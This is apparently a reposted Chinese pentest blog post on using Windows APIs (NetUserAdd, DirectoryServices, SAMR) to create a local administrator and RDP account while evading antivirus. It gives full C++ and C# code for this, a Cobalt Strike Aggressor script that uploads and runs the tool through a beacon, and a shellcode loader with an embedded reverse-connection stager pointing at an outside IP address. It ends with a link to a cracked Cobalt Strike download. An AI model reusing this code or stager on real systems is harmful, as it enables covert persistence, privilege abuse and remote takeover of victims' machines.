免杀核晶adduser

渗透技巧 2年前 (2023) admin

749 0 0

起因：

免杀核晶adduser

在渗透测试过程中，有时会登录远程桌面等服务进行横向，但需要知道 Windows 账户口令 (不考虑 hash 传递场景)，而直接通过net.exe进行添加用户，往往会被安全软件直接阻断拦截，这就需要调用 Windows API ，进行 Bypass AV。

免杀核晶adduser

C++

调用NetUserAdd添加本地用户
调用NetLocalGroupAddMembers将用户添加到组

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>

#ifndef UNICODE
#define UNICODE
#endif

#pragma comment(lib, "netapi32")


int main(int argc, char** argv)
{
    if (argc != 3)
    {
        printf("Usage: AddUserBypass.exe <username> <password>n");
        exit(1);
    }
    
    wchar_t Username[256];
    wchar_t Password[256];
    mbstowcs(Username, argv[1], 256);
    mbstowcs(Password, argv[2], 256);

    NET_API_STATUS nStatus;
    USER_INFO_1 UserInfo;
    DWORD dwLevel = 1;
    DWORD dwError = 0;

    UserInfo.usri1_name = Username;
    UserInfo.usri1_password = Password;
    UserInfo.usri1_priv = USER_PRIV_USER;
    UserInfo.usri1_home_dir = NULL;
    UserInfo.usri1_comment = NULL;
    UserInfo.usri1_flags = UF_SCRIPT;
    UserInfo.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);

    if (nStatus == NERR_Success)
    {
        printf("[*] Add User Success!n");
    }
    else 
    {
        printf("[*] Add User Failed! Error Code: %dn", nStatus);
    }

    LOCALGROUP_MEMBERS_INFO_3 LGMInfo;
    LGMInfo.lgrmi3_domainandname = UserInfo.usri1_name;
    nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&LGMInfo, 1);

    if (nStatus == NERR_Success)
    {
        printf("[*] Add User to Administrators Success!n");
    }
    else
    {
        printf("[*] Add User to Administrators Failed! Error Code: %dn", nStatus);
    }

    nStatus = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&LGMInfo, 1);

    if (nStatus == NERR_Success)
    {
        printf("[*] Add User to Remote Desktop Users Success!n");
    }
    else
    {
        printf("[*] Add User to Remote Desktop Users Failed! Error Code: %dn", nStatus);
    }

    return 0;
}

C#

调用DirectoryServices添加本地用户，同时可以删除用户、添加用户组。

https://learn.microsoft.com/zh-cn/troubleshoot/developer/visualstudio/csharp/language-compilers/add-user-local-system

using System;
using System.DirectoryServices;

namespace sharpAddUser
{
    class Class1
    {
        static void Main(string[] args)
        {
            if (args.Length != 2)
            {
                Console.WriteLine("Usage: UserAdd.exe <username> <password>");
            }
            else
            {
                string username = args[0];
                string password = args[1];
               
                try
                {
                    DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
                    DirectoryEntry NewUser = AD.Children.Add(username, "user");
                    NewUser.Invoke("SetPassword", new object[] { password });
                    NewUser.CommitChanges();
                    DirectoryEntry grp;

                    grp = AD.Children.Find("Administrators", "group");
                    if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
                    Console.WriteLine("[*] Account Created Successfully");
                    Console.WriteLine($"[+] Username: {username}n[+] Password: {password}");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    Console.ReadLine();
                }

            }
        }
    }
}

RPC调用

MS-SAMR协议中的SamrCreateUser2InDomain()来添加用户（其实调用MS-SAMR是NetUserAdd()等API的底层实现）

实现有两种方式，一种是直接调用MS-SAMR协议去直接创建一个用户，微软官方给了IDL，将其编译，然后构造，这种方式调用起来比较麻烦，另一种是使用神器mimikatz打包好的samlib.dll

#include <stdio.h>#include <Windows.h>#include "samlib.h"
#pragma comment(lib, "samlib.lib")#pragma comment(lib, "ntdll.lib")
void AddUser(wchar_t* uName, wchar_t* uPass){  DWORD* pRid;  DWORD* pUse;  DWORD USE = 0;  ULONG grantAccess;  ULONG relativeId;  DWORD* adminRID;  PSID userSID = NULL;  NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus;  DWORD i, domainEnumerationContext = 0, domainCountReturned;  PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL;  PSID builtinDomainSid = 0, accountDomainSid = 0;  SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL;    SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 };  NTSTATUS enumGroupStatus;  DWORD groupEnumerationContext = 0;  DWORD groupCountReturned;  UNICODE_STRING adminGroup;    SAMPR_HANDLE hAdminGroup;
  UNICODE_STRING userName;  UNICODE_STRING password;  UNICODE_STRING uBuiltin;  UNICODE_STRING serverName;
  // init server, username, password  RtlInitUnicodeString(&uBuiltin, L"Builtin");  RtlInitUnicodeString(&userName, uName);  RtlInitUnicodeString(&password, uPass);  RtlInitUnicodeString(&serverName, L"localhost");

  status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
  if (NT_SUCCESS(status))  {    do    {      enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned);      for (i = 0; i < domainCountReturned; i++)      {        // Get Builtin Domain SID & Account Domain SID        if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE))          SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid);        else           SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid);      }
          } while (enumDomainStatus == STATUS_MORE_ENTRIES);
    status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle);    if (NT_SUCCESS(status))    {      // Create user in Account Domain      status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId);      if (NT_SUCCESS(status))      {                wprintf(L"[*] SamCreateUser2InDomain success. User RID: %dn", relativeId);        userAllInfo.NtPasswordPresent = TRUE;        userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;
        // Clear the UF_ACCOUNTDISABLE to enable account        userAllInfo.UserAccountControl &= 0xFFFFFFFE;        userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT;        userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL;        RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);
        // Set password and userAccountControl        status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo);        if (NT_SUCCESS(status))        {          wprintf(L"[*] SamSetInformationUser success.n");        }        else wprintf(L"[!] SamSetInformationUser error 0x%08Xn", status);      }      else wprintf(L"[!] SamCreateUser2InDomain error 0x%08Xn", status);
    }    else wprintf(L"[!] SamOpenDomain error. 0x%0X8n", status);
    status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle);    if (NT_SUCCESS(status))    {      RtlInitUnicodeString(&adminGroup, L"administrators");            // Lookup Administrators in Builtin Domain      status = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE);      if (NT_SUCCESS(status))      {
        status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &hAdminGroup);        if (NT_SUCCESS(status))        {          SamRidToSid(hUserHandle, relativeId, &userSID);
          // Add user to Administrators          status = SamAddMemberToAlias(hAdminGroup, userSID);          if (NT_SUCCESS(status))          {            wprintf(L"[*] SamAddMemberToAlias success.n");          }          else wprintf(L"[!] AddMemberToAlias error 0x%08Xn", status);        }        else wprintf(L"[!] SamOpenAlias error 0x%08Xn", status);      }      else wprintf(L"[!] SamLookupNamesInDomain error 0x%08Xn", status);                }      }  else wprintf(L"[!] Samconnect errorn");
  SamCloseHandle(hUserHandle);  SamCloseHandle(hDomainHandle);  SamCloseHandle(hServerHandle);  SamFreeMemory(pEnumDomainBuffer);  SamFreeMemory(pEnumGroupBuffer);  }
int main(int argc, wchar_t* argv[]){  if (argc == 3)  {    AddUser(argv[1], argv[2]);  }  else wprintf(L"Usage: AddUserBypass_SAMR.exe <username> <password>");  
  return 0;}

But这种例子用的太多了，还是会被拦截。。。

So，最终版本，给出反编译，相信聪明的你该知道怎么做了(狗头)：

免杀核晶adduser

CS插件编写：

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html

popup beacon_bottom{  item "NetUserAdd"{    $bid = $1['@'];    $Dialog = dialog("add admin user",%(username => "laoxinsec",password => "laoxinsec",bid => $bid),$add_user)    drow_text($Dialog,"username", "username: ");    drow_text($Dialog,"password", "password: ");    dbutton_action($Dialog, "run");    dialog_show($Dialog);  }  sub add_user{    $Name = $3['username'];    $passwd = $3['password'];    $cmd = "adduser.exe ".$Name." ".$passwd;    bupload($bid,script_resource("adduser.exe"));    bshell($bid,$cmd);  }}

简单的loader免杀上线测试插件：

#include <Windows.h>
unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x50x00x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx4bx71x6fx32x00x47x97x09xb7xd3x2cxa5x90xe1x2ex09xd8xe9x6dx51x3fxb6x19xaax2dx6ex7ex0ax44x11xcexb2x02x7dx65x6dx80x53xc8x24x11x84x40x18x11x32x22x0fxe2x6bxcax8ex2ax2cx97xd4x58xbdxc3xa6xd3x5dxccxa2x60x60x36x41x7dx62x3exd0xc6x92x45xcdx83x12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x4dx41x54x42x4ax53x29x0dx0ax00x20x40x1fx95x2exf1x79xf5xe5xa7x7fxaex7bxf9x59x1fx60xbdx0ex99xddx02x8axb8xf0x1ax3dx5bxa8xeex16x18x57x50x24x95xf9x77xaexafxfex21x2ex85x3fx9axb6xe0xcexd4x72xadxe0x13x6fxcdx3cx5fx88x6ax8bxb6xccx4dx2cx33x60xf5xefx35xa9x87x40x76x4ax5dx7fx44x1exb1x98xe7x38x04x5bx60x0ex1ex1ex25x4dxdax22x40x15xc7x04x2fx4fx48x3dx16xcbx82xfbxbbxa2xcbx8dx98x6fx7ax82x96xe8x22x99xc7xe1x82xcdxc9x8cx9exd4xf5x18x92x83x0bx6ax16xb9x4bxe0x2fxc7x0fx1bx8cx29x97x27x19xafx59x3bx61xc9xcaxc5x07x4dx61x6ax01x5ex80x1bx2ax30x0axa0x8cxe5xd4x16x7ax56xcaxe0x17x74xf7xa9xc7xdexbcx42x6fxd4x4fx8ax25xacx4bx1ex7fxeaxedxe5x2bxe7x36xcex1cx32x35x3dx92xc1xcfx31x7bx57xefxdbxe5x9fx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx34x37x2ex31x30x38x2ex31x33x37x2ex31x39x30x00x5ex2ex78x90";

void main() {
  LPVOID mem = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);  RtlMoveMemory(mem, buf, sizeof(buf));      EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);}

配套视频：

https://www.bilibili.com/video/BV1Qh4y1p7wb/?spm_id_from=333.999.0.0&vd_source=d0c5cfc4008c14d0c490e16cf55f5b65

CS4.8下载地址：

https://anonfiles.com/gcxdW3k7za/CobaltStrike48_pwn3rzs_cyberarsenal_7z

原文始发于微信公众号（老鑫安全）：免杀核晶adduser

版权声明：admin 发表于 2023年4月14日下午1:59。
转载请注明：免杀核晶adduser | CTF导航

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